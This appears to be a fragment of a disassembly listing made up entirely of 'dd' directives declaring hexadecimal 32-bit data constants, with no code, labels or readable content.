		dd 68007BA0h, 0E8DC80DFh, 0EEF1ADh, 4CEADD5Fh, 79B6DE56h
		dd 970004ECh, 466B0507h, 59524Dh, 0B00C2134h, 121F690Fh
		dd 94C4A60Ah, 0FA00ADD3h, 7638EC97h, 1AB10024h,	0F7B005DDh
		dd 930027FBh, 0BA8B19E6h
		dd 1CCA86D2h, 800B372Fh, 85EC15DEh, 213B0110h, 0D8A4803Ch
		dd 7920CE1Ah, 277C0075h, 0C7A5815Bh, 95E6DF55h,	4400AD72h
		dd 38E6B7F6h, 0C80EA7h,	0A0204ECAh, 0C9B65E0Dh,	48ECA600h
		dd 67B7A2BBh, 96FA5C21h, 0AE97CB00h, 35D9B05Ah,	101538h
		dd 82D32F3h, 0C4FA76h, 90B84B8Ch, 25DD6871h, 7A8F0100h
		dd 5FCD99B7h, 0ECAF50C1h, 0F8F0500Ch, 402A2E9Ch, 0E55700F6h
		dd 0C8EF234Ah, 0C266600h, 246C553Bh, 53F52C1Bh,	47E100CFh
		dd 0F71DEC76h, 21B1CE00h, 9E11B498h, 0F80B0193h, 6504158h
		dd 1DCCF4D1h, 947EFC24h, 0E7A59580h, 115F7Ch, 717D9C37h
		dd 8786FE92h, 0E300D892h, 0BB1AA93Ch, 169C59Fh,	0CBF77436h
		dd 0D84A672Fh, 0EB003BF1h, 2458A96Ah, 241FF245h, 8048254Dh
		dd 63FDC0F8h, 3C90BC91h, 5200A376h, 7993F0FCh, 3F6CD368h
		dd 4609B2B8h, 0E4007E54h, 5E783BECh, 80C9AD3Fh,	97FF7641h
		dd 0E2816556h, 8CA90095h, 8B72269Bh, 76098054h,	7CCEAAD2h
		dd 0A803A8Fh, 659B5193h, 0C1129D16h, 0D4006FC6h, 8545FF4Dh
		dd 0B87A3A9Ch, 230B4400h, 405D4C1Dh, 9DA37C0Fh,	24A996h
		dd 52CC720Ch, 7A9A00DFh, 6B8864BBh, 0A2079D08h,	6E1147F3h
		dd 77AA6390h, 8F950113h, 4EE029D1h, 0D052CD3Eh,	300F50ADh
		dd 0C092D4A3h, 9D3C828Eh, 0C3EE6Bh, 5A84B448h, 9BB8C92Eh
		dd 88F8CFh, 0F5F3D62Dh,	0D0F800CCh, 0C4FCE83Bh,	270E87B2h
		dd 0A7E91Bh, 652E4083h,	0ADB8F7h, 0B58C4E79h, 8EA0363Bh
		dd 0C9892200h, 0C7F8AD6h, 0EDDE4D2h, 6373342h, 76C893A0h
		dd 99097421h, 80D9128Eh, 86471B6Bh, 35F300D7h, 738DA09Ah
		dd 0EE7CB8EBh, 967E570Fh, 0C9532F4Ch, 2AF8005Fh, 184F0Bh
		dd 1D1304F3h, 3EC3A5E6h, 18B0F0FEh, 8CD94Dh, 3D6A9E20h
		dd 7E9F245Ah, 8CA10F4Bh, 0A820B92Dh, 0E9BDBA34h, 0B2BB6230h
		dd 3D9CC0CCh, 460243FBh, 3C55BC6Ah, 31504EE0h, 7BF4DF01h
		dd 5FF67749h, 295AF4h, 0CB0E9B46h, 668A01CFh, 7CF58800h
		dd 47525119h, 593C0009h, 0F837725Ah, 30006F44h,	9C541B71h
		dd 0B78A64h, 0E73A336Bh, 6A90153Bh, 0F80E113Dh,	38503C00h
		dd 180D51A1h, 0F584392Ch, 0BB02D100h, 476C64C8h, 4E678D00h
		dd 7F4F18BEh, 71B5801h,	9A30E500h, 0A45CF586h, 122C2200h
		dd 0B226B8F2h, 193424DCh, 2B488048h, 8A51CACFh,	0C32AC500h
		dd 0D9977112h, 10F90549h, 0C0B02446h, 2ACB9F35h, 39D6E400h
		dd 4FAE2659h, 3CE1C9Bh,	47584021h, 0E061F396h, 263FC1FAh
		dd 9CA580F4h, 9AB0F6A9h, 91C000CEh, 59789DCBh, 0E67F34B7h
		dd 0CD6158h, 0D4258754h, 0FF17E81h, 0D55D5CC3h,	63DE9280h
		dd 770C099Ah, 586DA648h, 763C0085h, 60F22011h, 0BF04A812h
		dd 0D88CA24h, 0FD92F3C0h, 2F680009h, 8AB6D2BCh,	0DE0043C6h
		dd 8CD7C4EAh, 0E41F70h,	394D1BDh, 0F1228083h, 86E1AC00h
		dd 9F3368DDh, 7FF8000Ch, 59CAF55Ch, 0E20085AAh,	47A77AF0h
		dd 0B5AC27E0h, 140048F8h, 0C618F6B8h, 4DA6E5D5h, 66048C96h
		dd 0D04FCBB4h, 7AF9AC64h, 90AF5C0Bh, 7E5803C6h,	3BD49864h
		dd 7AEEAD3h, 88560812h,	8FBF1019h, 2C0301E4h, 9722B1C3h
		dd 0F3D898BCh, 0EB7F00CDh, 0FA4F9D60h, 4C2C12D3h, 0B800B0F0h
		dd 7F7AC9D1h, 0ADE902DBh, 909659A2h, 3A116468h,	0CC0E760Ch
		dd 0F02A1155h, 7FEB00ACh, 0F141C731h, 0F2008D5Ah, 1A0F05E9h
		dd 3E6DBBB7h, 85000B58h, 6A93EB20h, 530F6F19h, 80E9D318h
		dd 83A570B5h, 5618C0CDh, 0B1F3BDB4h, 0C4A1291Eh, 37B7580h
		dd 90BC25h, 169298F7h, 6AE2A959h, 0E307CC01h, 0BE5FA55Dh
		dd 0B214F4h, 72B1EE29h,	2761C66Bh, 0F7A7DD05h, 9801FFD6h
		dd 0A540F3DBh, 5D556AF4h, 6F3DB402h, 0C02BEB9Eh, 8E3BB02Ch
		dd 0A073C3Fh, 0C101AFC2h, 9DC0E6B4h, 0F0D605h, 0EA957734h
		dd 0C50B7AD0h, 0A3FD7100h, 843E477Bh, 0FB961FE9h, 4C911DE1h
		dd 0B278F12Ch, 1CD2E51Eh, 534FBB1Ch, 0C7E1C011h, 304E4BEBh
		dd 5488DA3Dh, 0DF07264Ah, 0A836BB5Dh, 32E923E0h, 8821C03Ah
		dd 7DFFF23Ch, 7E6AFE00h, 9E415A9Fh, 1D6103CDh, 0E16C451Ah
		dd 0CE644A0h, 2C7E990Ch, 0F6F9F7h, 0CCE3A197h, 135FE54h
		dd 0CAF21800h, 1B342C08h, 29A4618Dh, 0FF5F7A13h, 58914AD8h
		dd 30B8848h, 0A20419D8h, 0A1B0A7DCh, 29CE92F4h,	30E92Ch
		dd 0A74876F7h, 0BA15CBAAh, 802D6Fh, 966217FFh, 0DA2FA0h
		dd 9138AB15h, 1B4697A8h, 10C93EAh, 31527781h, 342B1CDBh
		dd 0D2526Fh, 0C208D834h, 0F400EF24h, 0A552F74Ah, 67D1A4h
		dd 1D73596Ah, 0AD31BD4Fh, 8D41EA60h, 28866619h,	3AEC18F7h
		dd 0D558157Ch, 0F8DD9739h, 80C37E1Fh, 52E9DDB5h, 0F724578h
		dd 80BF3C3Fh, 0F7849A29h, 1FCD01Fh, 4A5BFA53h, 0D0203E5Fh
		dd 4000A158h, 2EF1CEBDh, 78C5B792h, 0E8EE00C1h,	26D0D37Dh
		dd 8601E991h, 36FCF602h, 11F425FAh, 8FC400AEh, 42DAA3BEh
		dd 1F07E7DEh, 69AA467Fh, 0E43D9E30h, 0FB8100B6h, 0C3B9A9F3h
		dd 1300499Ah, 40995D17h, 3B900F08h, 4C00AD9Dh, 701F66A4h
		dd 0E800A3B3h, 890DD2DDh, 804F5Dh, 5BEADA71h, 2F7D84DBh
		dd 13A6D7Ah, 0BB6F8061h, 0A41C26E8h, 250D00ECh,	6E20CA9Eh
		dd 5B0FD03Ch, 0C0DC7D55h, 0B311BAA7h, 8728C41Bh, 3D4A4423h
		dd 11117C4Fh, 0D108B0B5h, 76109DD8h, 44C88184h,	6A44CE39h
		dd 427248D9h, 902EDD2Bh, 48D48E84h, 22BC441Eh, 0EA851161h
		dd 0BF33682Fh, 0D6FFC922h, 0C9EC1A27h, 862D88E6h, 0CBC6770Bh
		dd 0B2DB00A8h, 50E074A0h, 8D98Eh, 68701CDEh, 0E68445C5h
		dd 0E4694300h, 3F48610Ch, 0A90A00ABh, 0EBFFBD1Eh, 92005902h
		dd 42E12F32h, 7298A0h, 9F82216Fh, 0B6F96191h, 8E578B1Dh
		dd 6F2A680h, 2C6D1Dh, 0B23A4920h, 0C255CA28h, 0F0959202h
		dd 0E36A4FEDh, 0F3872DEh, 0E7B880BAh, 0B910012h, 5D7D0911h
		dd 0F1C61300h, 37F383ABh, 0B61200EFh, 0F1E88C7h, 8D0038BDh
		dd 0A44E1FC3h, 2955B14h, 44259E2Fh, 5FC0F711h, 93308D28h
		dd 7A54485Ah, 9F6C3B55h, 0CAB61181h, 0D47C36D3h, 0C3088E39h
		dd 0B825BE2h, 8A8716DCh, 0FEF000A1h, 760062A7h,	0F45645C0h
		dd 0F8178Eh, 0A667849h,	0E61364C1h, 0F322102h, 80813395h
		dd 0D8E1EF9Ch, 8E6200B3h, 0B6F81DA3h, 8503FA9Ch, 0E487F9FBh
		dd 4290EFD2h, 9836CAh, 0CD32D1AFh, 2285B1B7h, 5C73A700h
		dd 78E6C612h, 561F1F60h, 975E40C4h, 0DC3CF047h,	3F04423Dh
		dd 3FB680DEh, 0CE636DA7h, 517D3Ah, 1E419F69h, 841BEA72h
		dd 0F3C74300h, 505BC8D6h, 0D2ECFAh, 0CDDCBCCFh,	2C30F616h
		dd 0ADB18200h, 78D101F5h, 0B0290054h, 0B5475A81h, 3400C06Ch
		dd 0E1F38B3h, 3BB11AF5h, 0C5049853h, 8026FF76h,	61F4AC0Ch
		dd 0EA226F00h, 9FC10F65h, 0B9A40577h, 0C2F2A357h, 0A4603B43h
		dd 0EA79D187h, 34EC4403h, 0A02448AFh, 0C22E74h,	522B1FBCh
		dd 0D6FD0DCBh, 68AD6500h, 0DA02A8FCh, 6AA50099h, 582F1DE7h
		dd 9C0097EBh, 0B9A3A9CFh, 790CE0E5h, 66820084h,	0D162B627h
		dd 0C8149981h, 7EF0DD51h, 0B9216E00h, 0A5D98996h, 0C6D10071h
		dd 0E284950Ch, 18001B77h, 0B9361D7Ch, 196A7h, 7EF33AC4h
		dd 0B6FD4030h, 8F4C0D00h, 77882958h, 0D6D80047h, 0CC4A517Ah
		dd 0BE284684h, 3D00A515h, 0BC1996FDh, 2748CAh, 80FE9A2Dh
		dd 61693E07h, 9D832B00h, 95D844Ch, 8B9038h, 76A019FAh
		dd 92323652h, 480002F0h
		dd 0C0E00480h, 1CC22497h, 80F2847Eh, 0FCEFD236h, 9D24A598h
		dd 5000F85Fh, 0BA31B959h, 7F7CFE95h, 9A0D00C7h,	0A907C56Dh
		dd 5E01D95Ah, 1C5BC005h, 36E0AD25h, 223B0009h, 2BDD6B59h
		dd 8701AFC4h, 0A4134165h, 8DFCFB42h, 0EE8F03F3h, 0FFE8532Ch
		dd 21CF00B7h, 5D60936Fh, 89E79696h, 1FE5020Eh, 4B2C878Ah
		dd 94A01D63h, 0ED008412h, 4F3CD620h, 37790D4h, 170FF506h
		dd 0A8D807E9h, 0EF24E26Eh, 0FD01B0F7h, 0B62E8B93h, 0BC7B20h
		dd 0D1D041FBh, 0A811EEFEh, 522C5Ch, 60CEB5D8h, 3DBFF8h
		dd 9B33C0FFh, 0EE3E02Ah, 738B8209h, 0A073000Dh,	0A81004h
		dd 0B7F85E17h, 23014ECCh, 0CFA15B00h, 2689EC8Dh, 0D4470058h
		dd 56D659E7h, 0C490860Eh, 0CFA0FCF0h, 7309B012h, 80B99913h
		dd 6D259859h, 0A6CB012Bh, 5B909DCAh, 0E1D9ECA8h, 0F30045F2h
		dd 63F05492h, 76836F5h,	0B8BE155Dh, 2F9D20C1h, 0C200EF20h
		dd 97084AF6h, 16F97DDDh, 5FA26h, 74359260h, 5049FB54h
		dd 931B00C0h, 362DD458h, 0C9AD005Ch, 5B8ABD56h,	7C0078D9h
		dd 526E766Dh, 3939964Fh, 0C780ADB3h, 0AF9E8EA7h, 1500A30Dh
		dd 0EA0536B5h, 7DEE0AC4h, 89F412F6h, 0FCEF0040h, 0D921972Bh
		dd 0C9EAC300h, 70C8BB9Fh, 527F3B61h, 852F4F81h,	0C4D999D8h
		dd 0E600A5FEh, 519E6367h, 0B01B1F46h, 28A3002Fh, 40718978h
		dd 5309E15Bh, 80679056h, 69FFAAC4h, 7A990004h, 646A16E7h
		dd 86003894h, 58D76EC1h, 9D243h, 2F108078h, 1D279C1Ch
		dd 806A483Eh, 22E7708Eh, 4CFFBF82h, 0D8495ECAh,	4760017Ah
		dd 4437274Dh, 0E8453Dh,	0FB06BE00h, 781F4E5Fh, 17009314h
		dd 0A174FCB6h, 29B90619h, 1987F7EDh, 0BBDD1000h, 84B2094Ch
		dd 53A10034h, 9C6A9424h, 0DF006FF1h, 0A0469B8Fh, 0A8CB4C60h
		dd 2D8BD4h, 5C55823Eh, 99E42392h, 0F0104160h, 2AE2BDh
		dd 0CC2B6BCBh, 0DFE1DE9Ah, 5E13CE00h, 43ADF016h, 4E3507B0h
		dd 90BAC459h, 0D7A9DF08h, 5C00FCE0h, 5A0DC101h,	37EE34Bh
		dd 6D6E799Fh, 5D9312A5h, 40EDEC88h, 0B8E00F00h,	0BB260859h
		dd 42930067h, 0C26BDC90h, 0AE3C1245h, 0D64894h,	0D5762B8Eh
		dd 60AB1F10h, 6356C002h, 0B300C6E1h, 93168A1Eh,	586D7F22h
		dd 0D13AF8F8h, 0B132F080h, 0E833404Eh, 5361090Bh, 4C8280EDh
		dd 19FD0A7h, 7FF2C815h,	0F898115Ch, 977A5795h, 3D8C6F00h
		dd 0B09D45F6h, 9F0EAh, 7AB8B7BCh, 4D737C1Dh, 54EF9C00h
		dd 60BF0AA2h, 0B3A700FCh, 0F4A6A05Ch, 86037803h, 0E92FC62Dh
		dd 0B55AA87Ah, 63E6FCh,	1017A9D4h, 256F2952h, 0CF8C4100h
		dd 45131639h, 0FDE00D5h, 2EDC32CDh, 0C900E66Eh,	0A6A9E96Bh
		dd 9D602h, 8FACADBEh, 10EE1175h, 1681863Fh, 6B009F6Bh
		dd 9C59201Bh, 2A901C7Ah, 3B19748h, 757E0F21h, 0D85105A0h
		dd 3DA9FA00h, 25CD19B5h, 0B7A63E10h, 0E12AE480h, 8DCC1F0Ch
		dd 69576C00h, 33EC45DDh, 0D2C00D5h, 0E3943228h,	8F3A0ADBh
		dd 0B57C8060h, 9DC40F07h, 788E0FFDh, 5CE0E75Dh,	37AFAD89h
		dd 0F1036500h, 8061534Ch, 0EA72E8h, 0A14A346Eh,	76C2E0Eh
		dd 81399CE6h, 0F4880B7h, 3422BE92h, 28E46Fh, 598237BAh
		dd 0CE3EA55Ah, 700ED207h, 524046C9h, 14C459Bh, 0D0159E62h
		dd 0C4AF02AEh, 0C02810D4h, 0D500C041h, 0AC8E903Ah, 1C15337Ah
		dd 2C98D2FEh, 48803F49h, 0C2F40299h, 0EA006D5Fh, 210F12A4h
		dd 3A74F776h, 0F63BAFh,	0C6AAC3CEh, 8BCA639Ch, 6A65FA00h
		dd 0CBD1E5Eh, 9ABA003Bh, 7544A0A2h, 0B71C99C5h,	3C001F65h
		dd 0F56045F1h, 41220050h, 0D58C3139h, 0ED006499h, 0AFE872ADh
		dd 0E21A9F98h, 0C7600F55h, 2A0EEC5h, 0B85429E0h, 0E74A0800h
		dd 468C5A52h, 89CB00B5h, 3E654EB7h, 8F18D896h, 0DF31F3ACh
		dd 0F2DE0023h, 0C8E21340h, 0D0F34E12h, 0D6036550h, 9261E378h
		dd 55C18F3Dh, 0C2E52C22h, 76D42E4h, 0EC2704D8h,	0FDB2D080h
		dd 0B4002EC5h, 56C6751Dh, 74DFFEBh, 0DABA0E14h,	5ED8E0D1h
		dd 33005A02h, 0C3818095h, 36E1AF4h, 6396BA18h, 4C89B001h
		dd 0B14E6008h, 2D6F400Dh, 37E0A804h, 0EA490083h, 4482703Dh
		dd 2A075B48h, 0AEA69FA5h, 3298DC00h, 7D462E21h,	0DF830017h
		dd 0BB9AEA3Dh, 1992D900h, 0CF528F2h, 134401D0h,	8166AECEh
		dd 0E942003h, 5A4123Dh,	58A2E711h, 28A1E400h, 80A9C6A5h
		dd 17E46B67h, 0E00EBA2Ah, 45B99B03h, 90B5C35Eh,	0DCE451h
		dd 8E8B69E1h, 7C211E4Fh, 0BE2F293Bh, 0E864809Fh, 4AC1BCB1h
		dd 3B680A26h, 0E4960Bh,	8E4C3106h, 481290CFh, 261E62C0h
		dd 3930D240h, 94EC8B0h,	320FBAF5h, 4BC22E83h, 9591B290h
		dd 75225301h, 8FCEA35Fh, 0A552D440h, 3FD50081h,	0A2D79A07h
		dd 7E00FAABh, 0A0830E3Eh, 795F38h, 8C4BA40h, 0BBBE0AD3h
		dd 0FEBAA02h, 68FD2761h, 71CBA678h, 0E8080043h,	8FA26EC4h
		dd 0D600FA0Bh, 6A3A7B33h, 3A85C9D3h, 0A0CA3002h, 7D0043BDh
		dd 8FD18884h, 0FB8E762h, 0D546670h, 0F3AFBAC0h,	125B99D3h
		dd 250F2DACh, 32439821h, 63E9E4FEh, 8433C45Fh, 0AB043C00h
		dd 0AECA4AA5h, 3D0F0087h, 0B8F939F1h, 4107A8A7h, 1A64D70Eh
		dd 3718C350h, 9AF000DDh, 56C2312Bh, 0C97614A5h,	0C50EB60Fh
		dd 88BAA11Eh, 82D013F4h, 0AAA41325h, 9C740078h,	1D320DF0h
		dd 8FDF3938h, 8AD3034Fh, 4D04AC5Ah, 3640A4A3h, 0F4374578h
		dd 983E6700h, 6CA5F87Eh, 0ED4D0051h, 94415BAAh,	0F003CD59h
		dd 7A72AE90h, 6C3BE82Bh, 9A04171Eh, 98EE0016h, 10D96751h
		dd 2CA29207h, 57F0B1C9h, 29505Ch, 4E562073h, 0A753F530h
		dd 802FC43Bh, 46E43FECh, 0F09514h, 0B03DEDE1h, 7F4FC8B3h
		dd 40349D04h, 40D0F56Ah, 2086A02Bh, 231EB382h, 28C03E8Ah
		dd 765E1F29h, 0F6FA01CBh, 855D5FC0h, 0A53DC833h, 0BF622C07h
		dd 1FA1B0A2h, 80E309B5h, 24CCEEF9h, 1685992h, 0EFA80C6Bh
		dd 5A5C208Dh, 40A01421h, 65869799h, 0E0E2D91Eh,	26E59E40h
		dd 0E6771675h, 4A0900F4h, 89291173h, 50798B0h, 5103A419h
		dd 14E7B0FCh, 0C05B06D3h, 4109629Ch, 0A08B9167h, 0D3EB75Ch
		dd 0AC7D58C4h, 0ABECCD00h, 16F387D4h, 3123C302h, 60945CDAh
		dd 2609BF34h, 8264EC74h, 4A3B8767h, 4042CFE1h, 961FC2E4h
		dd 36AB461Ch, 4059D74Fh, 0E542FC5h, 0D19D13CAh,	66400062h
		dd 3F964388h, 2B019FF0h, 35381539h, 2D5D9B8h, 7782430h
		dd 0A787F884h, 5843C06Eh, 60EB5D81h, 1D007754h,	0C05926C1h
		dd 3B447C6Ah, 250084DBh, 8C355306h, 1200F29Eh, 2772FF6Fh
		dd 38932055h, 7EB62Bh, 566010E7h, 5E3D35E2h, 0AADDD100h
		dd 88975873h, 764500AFh, 64257751h, 3300E9C3h, 0A2DAB674h
		dd 0F97E69h, 3F6CD2B3h,	85BED196h, 0C5B7AE00h, 0A3990DB5h
		dd 0BCA92EB8h, 42950014h, 0F6619E21h, 0C95D0F00h, 0C812CD14h
		dd 0A04E0130h, 179B33Ah, 50B820E2h, 0A700BF78h,	0AEEDB2C1h
		dd 28DEAB7Dh, 0CCBDB8h,	8B63317Eh, 1257CFE7h, 623D3B00h
		dd 8C91DC2Dh, 48F8A0B4h, 7CC20FDh, 0FEF4CEB0h, 0A340A000h
		dd 8E28AE59h, 0AAEECDh,	0E09A89E9h, 4E7EC762h, 11F76600h
		dd 0CEFCDE21h, 0AACD00E4h, 0DB3ED242h, 0C300E529h, 0A17305F1h
		dd 460B9C2h, 31882D2Eh,	0C0FC9076h, 481C9510h, 9FFF4EB6h
		dd 44809FEDh, 88B72442h, 517304C9h, 90752736h, 7AC0E424h
		dd 0BDBB038Ch, 7B6A0C51h, 0D1C9F000h, 0A93FBC5Ch, 6CAC004Fh
		dd 9E17E418h, 0EC2E9102h
		dd 1B187C3Eh, 0DA38E6h,	2A595411h, 641DC8B9h, 84494660h
		dd 0BA58B6h, 8839177Ch,	248193E4h, 8840D32Ch, 5FB36883h
		dd 87311D2Dh, 0D31E45B9h, 288880A4h, 0AE009ED8h, 0FFF18125h
		dd 0F636AA9h, 0A49B8E42h, 0C009835h, 5C25D07Dh,	1C00C045h
		dd 0A6E5759Dh, 38BB3CD7h, 0F700DB5Fh, 0E670418Ch, 35B0DE01h
		dd 0D2610500h, 0CA89D667h, 8A7C0087h, 2D6439B7h, 84005C20h
		dd 69505B9Ah, 0EA30D725h, 22C314CCh, 9805F01Eh,	0AF8CA2B1h
		dd 9F6C94C0h, 0B06E4F5Eh, 0A300D406h, 8429BAE9h, 3CB02B90h
		dd 1080AF8Dh, 752A1D04h, 30007757h, 5DE0F8CFh, 4A01B537h
		dd 782C02C6h, 1B015BD9h, 0F7ECB416h, 0F522040Eh, 0C432BDE1h
		dd 0DAE443AEh, 80CDCB0Ch, 0DE18C8D7h, 7D4F3Eh, 0C6564A34h
		dd 0A07AD1F1h, 3F882CACh, 0A405BD83h, 80A2A953h, 57D2C537h
		dd 0FF00337Fh, 0FAB0D5A6h, 512442Ah, 0FBC01C2Fh, 0BC2090F3h
		dd 31E8FF7Ah, 38D55017h, 7B237C41h, 2DC15D29h, 283870h
		dd 9410BE8Dh, 0F8712FADh, 0B172A6F2h, 6BBB1700h, 0D5BC7AFAh
		dd 97DA00EEh, 243E7876h, 4B006C30h, 0F041F195h,	2C99F48Fh
		dd 0C45111h, 0B9FF7393h, 0FB130961h, 30023A2h, 802D8F39h
		dd 45F304BDh, 804DB99Ah, 9E1AAFE8h, 0FC91B400h,	90075377h
		dd 0A53800B6h, 64D0E513h, 0BB184D1Bh, 0A1FA4BAFh, 0BDF30202h
		dd 399E1EDCh, 92671BE0h, 3AF0D03h, 0A0198459h, 2120C6Eh
		dd 0FBBDAB10h, 484001B8h, 3F00455Ah, 4B955766h,	7A197982h
		dd 0FD520044h, 83C0ED6Bh, 8009846h, 0D3DD0AB8h,	2F162h
		dd 0B62C196Fh, 0C36DA3A2h, 0D27D8400h, 62662778h, 6BDA00EBh
		dd 0AE369ACFh, 62CA46Dh, 5B00104Eh, 0ECCA7AD2h,	0BF58002Bh
		dd 9CE83DBh, 99019803h,	9614C336h, 0D6E044B6h, 0EE3B006Ch
		dd 881EEB65h, 6E00FBF1h, 44614FCDh, 0F05B97h, 5A0C1722h
		dd 87569E38h, 0D3192424h, 4BC8D400h, 713ADECh, 0C618975h
		dd 7968E130h, 20A4CDB0h, 0EA24417Ch, 3F8448h, 0C7B42605h
		dd 347FD5h, 0F650802Eh,	720A4777h, 1C7EF0A0h, 5B4F6600h
		dd 0A11B68BAh, 52B70037h, 0D3289B3Bh, 220442A7h, 5E78952Bh
		dd 0D6E73880h, 3C99008Fh, 84510E3Ah, 0C7728829h, 59B85000h
		dd 0B1B0EB79h, 54D4011Bh, 0AB51619Ch, 80DAE5D7h, 0E42E8F10h
		dd 38EA230Ch, 3C007253h, 0A5D4C7EFh, 3738E655h,	5A04F781h
		dd 360FADCDh, 0D2230D00h, 4D006A77h, 49F9917Bh,	356124Ch
		dd 0A6B2BC73h, 38F0D7E7h, 9B00C557h, 40CC18BBh,	7EE5FBh
		dd 0D00510BDh, 14936995h, 7CD2BC1Fh, 0FC8016DFh, 9264B94Dh
		dd 84320061h, 7B2FB272h, 0C23E9C55h, 1C9F2CEDh,	5626CC80h
		dd 3C6C39h, 443303A9h, 0F2F5F55h, 5E777800h, 65D758B0h
		dd 59E439E7h, 73C4FB00h, 169DDD01h, 7F3BAB00h, 6B798024h
		dd 0D21200C8h, 44E35E11h, 0F3CED01h, 0D50E87C3h, 0CFB7FC61h
		dd 0DB114880h, 59B300C7h, 76D6CA28h, 724B61Ah, 0F0218162h
		dd 8DCD9040h, 0D4980588h, 0BBA1AD69h, 0EE12600h, 5A1BB8h
		dd 0BBF76AD6h, 16B53B29h, 0DA4F3807h, 1DD0FECBh, 7DC8AAh
		dd 372DBBF0h, 0AFA19814h, 9C055Dh, 0AA90A63Dh, 1F848B6h
		dd 0A10B13B8h, 31B560B2h, 66D601A4h, 5BF4406Fh,	31EC0614h
		dd 98DAEF24h, 8D0714h, 0C5FA9F10h, 1D5FAC08h, 246171h
		dd 0C37CDC6Bh, 0F5005B0Eh, 0F888160Fh, 0AB928Ah, 12A66DF6h
		dd 0B1211883h, 5D25FE17h, 657014h, 0F6CF5764h, 3FAA3CD4h
		dd 3A396D49h, 3BA84283h, 37E3EBE8h, 0BB57C11Ch,	0D183C95Eh
		dd 0F8496A0Ah, 94F3609h, 82314C96h, 6051D082h, 0D49F4560h
		dd 790FDE04h, 0BC90BE1Eh, 1D0E4198h, 82367A59h,	9F8E406Bh
		dd 0FC43C983h, 1293D2B0h, 0F4706E38h, 0E1ACFD16h, 2FC5A05Fh
		dd 0EC808B51h, 63569Bh,	0D55E3EC6h, 3674B4D9h, 68529DDh
		dd 0C0EF378Ch, 0AC553D45h, 9E1BD70Fh, 0B7BC21B9h, 5C384675h
		dd 0E3000E22h, 3DC91049h, 0FE6167Ch, 736066EFh,	4132B2E0h
		dd 0FC7859ACh, 9218AB07h, 0D13087BAh, 3CA6A007h, 37F4034h
		dd 0F25502FFh, 45B12E4Eh, 921BDC74h, 0DE8BD300h, 0FA56AD90h
		dd 307500C9h, 3F0221D2h, 42ECA7Fh, 17034925h, 0C06635AEh
		dd 13644B38h, 3A478Ah, 1AA9F75Ah, 0BD7F2D7Eh, 0BCFFA805h
		dd 0CCC0AA5Bh, 1E94D875h, 0C94E7661h, 44A0652Ah, 0D7DDF1D3h
		dd 7F0A3A0Bh, 2B84005Dh, 2B4965Bh, 0B6F7184Fh, 0FB40C64Ch
		dd 0D300F6FDh, 2F046272h, 0B82BD55Ch, 50F8E0C0h, 304DA3A9h
		dd 4E71B809h, 20DD2EB0h, 46157680h, 0EC32F073h,	0F86CB052h
		dd 0A99700D3h, 5D7E6231h, 8400F9FCh, 89865B64h,	0FDDD14h
		dd 0AEBBE1A2h, 2D3515E3h, 723DAB01h, 0AC27D1B1h, 665DE0D7h
		dd 0C291EC02h, 0C6A90D80h, 0EA346200h, 31280084h, 0EB216D8Ch
		dd 7500A1F2h, 0E8C7CBBBh, 29DD9D4Ah, 1C4309h, 59EEEBBCh
		dd 54A0782Fh, 3A00A355h, 22859CCAh, 2D5CF6h, 0F7C995F5h
		dd 0C1FB13A1h, 522EFA1Ch, 91ADB383h, 15A9F848h,	4C980006h
		dd 0F0C9FBF3h, 0AF07EC60h, 73830885h, 9D819507h, 0B4C82BE7h
		dd 3DAE00EEh, 0C355AC5Dh, 2CFA91CAh, 0D98A6B07h, 4914D60Dh
		dd 0D497F1C0h, 0E3A4038Eh, 0B981B20Bh, 6A61BBA0h, 0AD002273h
		dd 71C09B4Dh, 16F094h, 3A4F2D3Fh, 0F6EA1B58h, 211DD67Dh
		dd 4A80D469h, 9192437Ch, 1082D28h, 1B00B57Eh, 0EA047848h
		dd 5EF70072h, 2A4EEFB2h, 28003301h, 0CE87B89Ch,	163D26F3h
		dd 14CC150h, 73392A58h,	3B10404Fh, 4E4DF07Bh, 43480108h
		dd 0B0EA0CB4h, 3E551180h, 0F8275991h, 3224EE19h, 2180A609h
		dd 0AF8BC435h, 0C90055D0h, 0C06DCF39h, 3568B120h, 2687F1Fh
		dd 50DB608Fh, 5D3CD4A0h, 731245F5h, 0EAE1666h, 0F88B1526h
		dd 0D413D420h, 54FE0AF5h, 7FA2E003h, 0E0426A79h, 0C4B433CEh
		dd 90834AE8h, 4653A460h, 0FC9E0200h, 50CC2D29h,	0C6660064h
		dd 270B5BBEh, 720CCB48h, 0E91E54C4h, 6A570028h,	1759AAFCh
		dd 7664A252h, 54B01D08h, 6A5F0062h, 12F8DB65h, 0A1027028h
		dd 2F6F88E5h, 70BC2A6h,	76024F94h, 28B08010h, 9F2974h
		dd 0BED9FBCDh, 2D0256EEh, 5B177A00h, 96AFED64h,	99890093h
		dd 81A835CDh, 84000F2Ch, 0B3035942h, 380172h, 0FAD7D6D3h
		dd 0FAEFBBCh, 6DA12D00h, 6BCFCC90h, 4F6503DEh, 0BA32B9BEh
		dd 3D0819C0h, 9C0B6900h, 54F01707h, 357C00FEh, 5DFCF2BEh
		dd 0CB007B5Ch, 0E09D3D89h, 7436C9D9h, 69460018h, 7BC8C037h
		dd 4C00E83Eh, 5235B775h, 0A59002h, 0AB8F1A7h, 0F396A01Bh
		dd 875B4100h, 1EC16D27h, 7E0D3271h, 49508C8h, 0B3A60077h
		dd 7079CB37h, 7DBB7A00h, 0CF0C3465h, 289D6092h,	1286CEC5h
		dd 9A0493F8h, 204EC8D9h, 82190FFEh, 0FFC1EC0h, 0ED32C2A5h
		dd 10B6297Fh, 0BA897701h, 7A45CB08h, 5611D6D9h,	100612BDh
		dd 0DE8973A0h, 7E456108h, 6A11FAC9h, 82EA127Dh,	2578F63Ch
		dd 4A1404EEh, 0D706447Eh, 0E7717842h, 88FBE80Fh, 92947713h
		dd 6F5F1828h, 88FD5629h, 134032A4h, 0C951C02Eh,	0AD0DEE2Dh
		dd 728ACF3Bh, 351C6400h, 54FD7C60h, 32CA07BAh, 473CD9D7h
		dd 0D453510Eh, 0EEA3E8F3h, 7F7C13EAh, 0EBF40100h, 5D40A2AAh
		dd 10690E6Bh, 0EC604416h, 59C76319h, 0C1FCB800h, 3447316Ch
		dd 1A830013h, 6DB9860Fh, 4EB8911Eh, 0B6EDD507h,	2950E8B1h
		dd 59A80Bh, 6267F03Dh, 0EA2AC994h, 44425B00h, 692EAFDDh
		dd 1841011Dh, 8A832CA6h
		dd 27CAC06Ah, 0B2BCF013h, 0DAB47303h, 0DFF8A066h, 905C51BEh
		dd 141E2451h, 188676ECh, 60CB414Ch, 7A0C65F7h, 0FEB1513Ch
